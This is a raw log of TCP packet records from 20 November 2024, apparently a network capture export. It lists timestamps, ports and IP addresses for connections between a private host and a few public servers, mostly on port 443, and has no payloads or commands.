Nov 20, 2024 18:57:23.188875914 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.188956022 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.202836990 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.202871084 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.202888012 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.202894926 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.214226007 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.214245081 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.214260101 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.214266062 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.301740885 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.301790953 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.301862955 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.366580009 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.366656065 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.366738081 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.370918036 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.370940924 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.506568909 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.506587982 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.506623983 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.506630898 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.531573057 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.531586885 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.531646013 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.544014931 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.544033051 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.544096947 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.544421911 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.544436932 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.548966885 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.548990965 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.549087048 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.549215078 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.549231052 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.549829960 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.549845934 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.549966097 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.550087929 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.550103903 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.551954985 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.551968098 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.671168089 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671196938 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.671307087 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671374083 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671396971 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.671463013 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671554089 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671588898 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.671668053 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671808958 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.671824932 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.672178030 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.672195911 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.672317982 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.672337055 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.716341972 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.716372967 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:23.716447115 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.716624975 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:23.716635942 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.213310003 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.218709946 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.218709946 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.218732119 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.218772888 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.340666056 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.341217041 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.341243029 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.341727018 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.341732979 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.347960949 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.348254919 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.348458052 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.348486900 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.348761082 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.348767042 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.349015951 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.349050045 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.349139929 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.349435091 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.349442005 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.349728107 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.349744081 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.350123882 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.350131035 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.381527901 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.382528067 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.382536888 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.383764982 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.383950949 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.383976936 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.385126114 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.385152102 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.385291100 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.385374069 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.385592937 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.385601044 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.386794090 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.386939049 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.419120073 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.419302940 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.419442892 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.433449984 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.433864117 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.435108900 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.435127020 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.436290979 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.436434031 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.436754942 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.436754942 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.436845064 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.465106010 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.465126991 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.481268883 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.481282949 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.503501892 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.504784107 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.504797935 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.506266117 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.506479025 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.506747007 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.506822109 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.509372950 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.509382963 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.511997938 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.527662992 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.558883905 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.649882078 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.649996996 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.650224924 CET	443	49737	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:25.650309086 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.650309086 CET	49737	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:25.664253950 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.664328098 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.667398930 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.667398930 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.670193911 CET	49727	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.670205116 CET	443	49727	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.670211077 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.670253992 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.670645952 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.671097040 CET	49741	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.671113014 CET	443	49741	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.792251110 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.792351961 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.792417049 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.792630911 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.792648077 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.792659044 CET	49733	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.792666912 CET	443	49733	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.797013044 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.797058105 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.797151089 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.797447920 CET	49742	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.797463894 CET	443	49742	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.799812078 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.799882889 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.799947023 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.800052881 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.800071955 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.800086021 CET	49734	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.800093889 CET	443	49734	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.800818920 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.800880909 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.800925970 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.801105976 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.801115036 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.801126957 CET	49732	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.801132917 CET	443	49732	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.801532030 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.801604986 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.801659107 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.801708937 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.801726103 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.801734924 CET	49729	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.801740885 CET	443	49729	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.805053949 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.805084944 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.805255890 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.805587053 CET	49743	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.805610895 CET	443	49743	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.805634975 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.805680990 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.805778980 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.805871010 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.805900097 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.805953979 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.806005955 CET	49744	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.806020021 CET	443	49744	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:25.806284904 CET	49745	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:25.806298971 CET	443	49745	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:26.099554062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:26.099637985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:26.201219082 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:26.201267958 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:26.201334000 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:26.203030109 CET	49747	443	192.168.2.6	4.175.87.197
Nov 20, 2024 18:57:26.203048944 CET	443	49747	4.175.87.197	192.168.2.6
Nov 20, 2024 18:57:26.248577118 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.248630047 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.248667002 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.248682022 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.248697042 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.248760939 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.248766899 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.250735998 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.250802040 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.250988960 CET	49735	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.251003027 CET	443	49735	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.299412966 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.299463034 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.299511909 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.299516916 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.299534082 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.299556017 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.299577951 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.312760115 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.312812090 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.312819004 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.319327116 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.319376945 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.319386959 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.324959993 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.325016975 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.325023890 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.362422943 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.362824917 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.362893105 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.365539074 CET	49738	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.365550995 CET	443	49738	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.371504068 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.371511936 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.418385983 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.418778896 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.481143951 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.486876011 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.500498056 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.500560045 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.500576973 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.507919073 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.507983923 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.507994890 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.520939112 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.521018028 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.521033049 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.535018921 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.535109997 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.535120964 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.548270941 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.548342943 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.548356056 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.561573029 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.561639071 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.561652899 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.575073004 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.575123072 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.575146914 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.588519096 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.588582993 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.588593960 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.601675034 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.601754904 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.601762056 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.615006924 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.615067005 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.615067959 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.615078926 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.615118027 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.628319979 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.668706894 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.668723106 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.689003944 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.689083099 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.689093113 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.700005054 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.700073957 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.700086117 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.702512026 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.702560902 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.702568054 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.710392952 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.710454941 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.710462093 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.720591068 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.720653057 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.720674038 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.731972933 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.732038021 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.732073069 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.743563890 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.743638992 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.743665934 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.755053997 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.755109072 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.755131006 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.766639948 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.766700029 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.766716003 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.778803110 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.778862953 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.778872013 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.789729118 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.789786100 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.789799929 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.799524069 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.799578905 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.799599886 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.809616089 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.809678078 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.809694052 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.819766045 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.819823980 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.819830894 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.828131914 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.828181028 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.828188896 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.837323904 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.837379932 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.837388992 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.846510887 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.846560955 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.846568108 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.855055094 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.855102062 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.855108023 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.863732100 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.863785982 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.863791943 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.872853041 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.872976065 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.872983932 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.878381968 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.878439903 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.878446102 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.889278889 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.889332056 CET	49736	443	192.168.2.6	142.250.181.68
Nov 20, 2024 18:57:26.889338017 CET	443	49736	142.250.181.68	192.168.2.6
Nov 20, 2024 18:57:26.891175032 CET	443	49736	142.250.181.68	192.168.2.6
